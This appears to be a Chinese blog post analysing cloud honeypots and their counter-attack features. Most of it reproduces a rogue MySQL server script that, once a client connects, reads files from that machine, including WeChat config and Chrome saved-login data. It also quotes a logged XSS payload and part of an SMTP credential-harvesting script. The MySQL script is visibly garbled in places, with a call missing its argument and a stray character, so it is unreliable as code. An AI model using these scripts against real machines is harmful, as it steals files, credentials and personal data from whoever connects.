概念
蜜罐又叫蜜罐Honeypot
,蜜罐技术本质上是一种对攻击方进行欺骗的技术,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。
分类
云蜜罐从交互来区分,包括低交互蜜罐、高交互蜜罐。简单来说低交互式的蜜罐是为了实现对攻击行为的捕获,比如简单仿ssh、ftp、smtp、mysql等服务实现对攻击目标的诱捕。高交互蜜罐一般会在低交互的基础上除了伪造虚假服务之外,还能实现模仿托管各种系统OA办公系统、网站等的业务系统外,能够对攻击者的行为进行追踪溯源和分析。
功能
下面以某厂蜜罐为例,下面的是实时大屏。

(该图片来自于网络<侵删>)
高交互蜜罐,能够实现对攻击者攻击行为分析,攻击画像分析,攻击源等信息进行获取

除了溯源画像外,基本上低交互蜜罐也能实现其它功能。就主要功能点在下面这几点

对于攻击行为分析主要在日志,可以对攻击者的操作行为进行分析(包含入侵日志、扫描日志等),当然各项日志可查看详细信息,但是对于溯源来讲仅仅这些内容是无法实现的,蜜罐除了诱捕之外的亮点就在于溯源画像。内容包含社交信息,当然对于溯源来说两点就够了。社交+可能获取到敏感信息的反制文件

包含多个信息点儿,主要实现的原理是通过脚本实现的。后面分享脚本儿以及抓取流量。
环境+分析
win10 192.168.63.40
wireshark 3.6.5
直接开始抓包,对目标的地址进行访问,在访问mysql服务的时候,数据包如下

这里我们直接追踪数据流,直接追踪的是tcp流,在进行mysql连接的时候,用的协议自然有mysql和tcp协议,数据库连接使用的是mysql协议,数据块传输的时候使用的是tcp协议

可以看到在连接数据的时候,蜜罐会下载我们本机的文件。

这里可能跟数据库版本有关,下载的数据块也不是太完整,但是为了能够尽可能多的实现或者说是获取到攻击方的信息,数据会进行分块传输。
下面是来自github
上的脚本
#coding=utf-8
import socket
import os
import re
def mysql_get_file_content(filename,conn,address):
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
conn.sendall(
"\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
try:
conn.recv(9999)
except Exception as e:
print(e)
try:
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
res1 = conn.recv(9999)
# SHOW VARIABLES
if 'SHOW VARIABLES' in res1:
conn.sendall(
res2 = conn.recv(9999)
if 'SHOW WARNINGS' in res2:
conn.sendall("")
res3 = conn.recv(9999)
if 'SHOW COLLATION' in res3:
conn.sendall("")
res4 = conn.recv(9999)
if 'SET NAMES utf8' in res4:
conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")
res5 = conn.recv(9999)
if 'SET character_set_results=NULL' in res5:
conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")
conn.close()
else:
conn.close()
else:
conn.close()
else:
conn.close()
else:
try:
wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
conn.sendall(wantfile)
content = conn.recv(99999999)
# print(len(content))
conn.close()
if len(content) > 4:
if 'PFRO' in filename:
with open(logpath + "/PFRO.log", "w") as f:
f.write(content)
f.close()
return True
else:
with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:
f.write(content)
f.close()
return True
else:
return False
except Exception as e:
print (e)
except Exception as e:
print (e)
def run():
port = 3306
sv = socket.socket()
sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sv.bind(("",port))
sv.listen(100)
-while True:
conn, address = sv.accept()
logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'
if os.path.exists(logpath):
with open(logpath, 'r')as f:
content = f.read()
f.close()
# get username
content = content.replace('\n','').replace('\r','').replace(' ','').replace('\t','').replace('\00','')
try:
res = re.findall(r'Users\\(.*)\\', content)[0]
username = res.split('\\')[0]
#line = '\\\\10.76.6.93\\test'
line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data'
# line = 'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/Login Data'
# line = 'C:/Users/' + username + '/AppData/Local/Google/Chrome/User Data/Default/History'
#print(line)
if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):
res = mysql_get_file_content(line,conn,address)
if res:
print ("Read Success! ---> " + line)
else:
print ("Not Found~ ---> " + line)
else:
conn.close()
except Exception as e:
print(e)
else:
line = 'C:/Windows/PFRO.log'
res = mysql_get_file_content(line,conn,address)
if res:
print ("Read Success! ---> " + line)
else:
print ("Not Found~ ---> " + line)
但是真实的情况是在数据传输的模块以及生成的文件不止一个mysql文件
对于个人隐私信息模块的抓取,在访问钓鱼页面的时候,直接查看网络查看加载内容
我们根据监测日志流量可以看到存在跨站
跨站脚本vname=%3Csvg%20onload=eval(name)%3E&client_id=&list_time=&_=1590814136385; FileName(xxx)=; PayLoad(xxx)=GET /pc/content/getMqNews?vname=%3Csvg%20onload=eval(name)%3E&client_id=&list_time=&_=1590814136385 HTTP/1.1\0d\0aHost: xxxxxxxxx\0d\0aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0\0d\0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\0d\0aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\0d\0aAccept-Encoding: gzip, deflate\0d\0aConnection: keep-alive\0d\0aReferer: /\0d\0aUpgrade-Insecure-Requests: 1\0d\0a\0d\0a;
存在python脚本获取个人隐私信息
这里是抓取到的当当的信息

下面是一部分监听邮箱信息的脚本
parser = argparse.ArgumentParser(description="Command line arguments")
parser.add_argument('-i',action='store', metavar='<ip address>', default='0.0.0.0', help='The IP address to listen on')
parser.add_argument('-p',action='store', metavar='<port>', default='25', help='The port to listen on')
parser.add_argument('-s',action='store', metavar='mailserver', default=os.environ.get('MAILSERVER_NAME', None), help='A Name that\'ll show up as the mail server name')
parser.add_argument('-t',action='store', choices=['open_relay', 'postfix_creds', 'schizo_open_relay'], required=True, help='honeypot type')
parser.add_argument('-logpath',action='store', metavar='<logpath>', default=os.environ.get('LOGPATH'), help='path for file logging')
parser.add_argument('-hpfserver', action='store', metavar='<hpfeeds-server>', default=os.environ.get('HPFEEDS_SERVER', None), help='HPFeeds Server')
parser.add_argument('-hpfport', action='store', metavar='<hpfeeds-port>', default=os.environ.get('HPFEEDS_PORT', None), help='HPFeeds Port')
parser.add_argument('-hpfident', action='store', metavar='<hpfeeds-ident>', default=os.environ.get('HPFEEDS_IDENT', None), help='HPFeeds Username')
parser.add_argument('-hpfsecret', action='store', metavar='<hpfeeds-secret>', default=os.environ.get('HPFEEDS_SECRET', None), help='HPFeeds Secret')
parser.add_argument('-hpfchannelprefix', action='store', metavar='<hpfeeds-channel-prefix>', default=os.environ.get('HPFEEDS_CHANNELPREFIX', None), help='HPFeeds Channel Prefix')
args = parser.parse_args()
# set own logpath
logpath="./logs/"
if args.logpath:
logpath=args.logpath
# set the IP address variables
bind_ip = args.i
bind_port = int(args.p)
srvname = args.s
核心内容就是监听然后获取邮箱信息,当然针对不同的网站,字段内容,后端脚本也需要修改,目前各大厂商蜜罐的目标涵盖包含dangdang、suning、某lang、某度账号的抓取脚本,但成功几率不一定百分百。
那么在实现mysql反制的情况下,蜜罐能获取到什么内容呢,下面来看一下文件内容

这个攻击者的文件已经算是拿到的比较多的,前面提到了,在传输的时候因为考虑到数据块儿的大小,所以数据是分块传输的,所有个别数据有时候也不全,至于为什么有的攻击画像内容不完全,我个人猜测,这个跟攻击者使用的工具版本和系统环境都有很大的关系。
PFRO内存储的有攻击者安装的文件路径等信息,且有个人的习惯的话可以读取用户名

文件内有整个主机的文件据对路径以及安装程序

攻击者浏览器内存储的密码管理文件和书签

含用户名和密码

微信id就是这么获取的,但是确实很鸡肋,是最原始的id。
applog
顾名思义,app日志文件,作为固定证据能够使用。
如果说谈一谈蜜罐的优势。高交互的蜜罐能更加区分攻击者行为以及减少对源ip的行为误报,在一定程度上能够实现抓取“0day”的目的,毕竟攻击者的操作行为可视化。其次部分厂家的蜜罐能在反制功能除了上述内容外就是远控攻击者终端,免杀马上线也能实现。
反蜜罐
下面是github上找的一些内容,不一定能用
反蜜罐插件
探测蜜罐 https://github.com/iiiusky/AntiHoneypot-Chrome-simple
其次就是个人习惯,良好的"习惯",也能在一定程度上实现反制。
小结
主要是基于云蜜罐纯黑盒的分析,触发告警也不一定成功,可能也不是产品的问题,毕竟也是DC,但是这个东西只能说有点儿鸡肋,但是必定有中招者。